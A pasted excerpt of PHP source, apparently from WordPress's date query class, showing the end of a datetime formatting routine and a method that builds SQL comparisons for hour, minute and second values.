  933. $datetime['day'] = ( $default_to_max ) ? (int) gmdate( 't', mktime( 0, 0, 0, $datetime['month'], 1, $datetime['year'] ) ) : 1;
  934. }
  935.  
  936. if ( ! isset( $datetime['hour'] ) ) {
  937. $datetime['hour'] = ( $default_to_max ) ? 23 : 0;
  938. }
  939.  
  940. if ( ! isset( $datetime['minute'] ) ) {
  941. $datetime['minute'] = ( $default_to_max ) ? 59 : 0;
  942. }
  943.  
  944. if ( ! isset( $datetime['second'] ) ) {
  945. $datetime['second'] = ( $default_to_max ) ? 59 : 0;
  946. }
  947.  
  948. return sprintf( '%04d-%02d-%02d %02d:%02d:%02d', $datetime['year'], $datetime['month'], $datetime['day'], $datetime['hour'], $datetime['minute'], $datetime['second'] );
  949. }
  950.  
  951. /**
  952. * Builds a query string for comparing time values (hour, minute, second).
  953. *
  954. * If just hour, minute, or second is set than a normal comparison will be done.
  955. * However if multiple values are passed, a pseudo-decimal time will be created
  956. * in order to be able to accurately compare against.
  957. *
  958. * @since 3.7.0
  959. *
  960. * @param string $column The column to query against. Needs to be pre-validated!
  961. * @param string $compare The comparison operator. Needs to be pre-validated!
  962. * @param int|null $hour Optional. An hour value (0-23).
  963. * @param int|null $minute Optional. A minute value (0-59).
  964. * @param int|null $second Optional. A second value (0-59).
  965. * @return string|false A query part or false on failure.
  966. */
  967. public function build_time_query( $column, $compare, $hour = null, $minute = null, $second = null ) {
  968. global $wpdb;
  969.  
  970. // Have to have at least one.
  971. if ( ! isset( $hour ) && ! isset( $minute ) && ! isset( $second ) ) {
  972. return false;
  973. }
  974.  
  975. // Complex combined queries aren't supported for multi-value queries.
  976. if ( in_array( $compare, array( 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ) ) ) {
  977. $return = array();
  978.  
  979. $value = $this->build_value( $compare, $hour );
  980. if ( false !== $value ) {
  981. $return[] = "HOUR( $column ) $compare $value";
  982. }
  983.  
  984. $value = $this->build_value( $compare, $minute );
  985. if ( false !== $value ) {
  986. $return[] = "MINUTE( $column ) $compare $value";
  987. }
  988.  
  989. $value = $this->build_value( $compare, $second );
  990. if ( false !== $value ) {
  991. $return[] = "SECOND( $column ) $compare $value";
  992. }
  993.  
  994. return implode( ' AND ', $return );
  995. }
  996.  
  997. // Cases where just one unit is set.
  998. if ( isset( $hour ) && ! isset( $minute ) && ! isset( $second ) ) {
  999. $value = $this->build_value( $compare, $hour );
  1000. if ( false !== $value ) {
  1001. return "HOUR( $column ) $compare $value";
  1002. }
  1003. } elseif ( ! isset( $hour ) && isset( $minute ) && ! isset( $second ) ) {
  1004. $value = $this->build_value( $compare, $minute );
  1005. if ( false !== $value ) {
  1006. return "MINUTE( $column ) $compare $value";
  1007. }
  1008. } elseif ( ! isset( $hour ) && ! isset( $minute ) && isset( $second ) ) {
  1009. $value = $this->build_value( $compare, $second );
  1010. if ( false !== $value ) {
  1011. return "SECOND( $column ) $compare $value";
  1012. }
  1013. }
  1014.  
  1015. // Single units were already handled. Since hour & second isn't allowed, minute must to be set.
  1016. if ( ! isset( $minute ) ) {
  1017. return false;
  1018. }
  1019.  
  1020. $format = '';
  1021. $time = '';
  1022.  
  1023. // Hour.
  1024. if ( null !== $hour ) {
  1025. $format .= '%H.';
  1026. $time .= sprintf( '%02d', $hour ) . '.';
  1027. } else {
  1028. $format .= '0.';
  1029. $time .= '0.';
  1030. }
  1031.  
  1032. // Minute.
  1033. $format .= '%i';
  1034. $time .= sprintf( '%02d', $minute );
  1035.  
  1036. if ( isset( $second ) ) {
  1037. $format .= '%s';
  1038. $time .= sprintf( '%02d', $second );
  1039. }
  1040.  
  1041. return $wpdb->prepare( "DATE_FORMAT( $column, %s ) $compare %f", $format, $time );
  1042. }
  1043. }
  1044.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement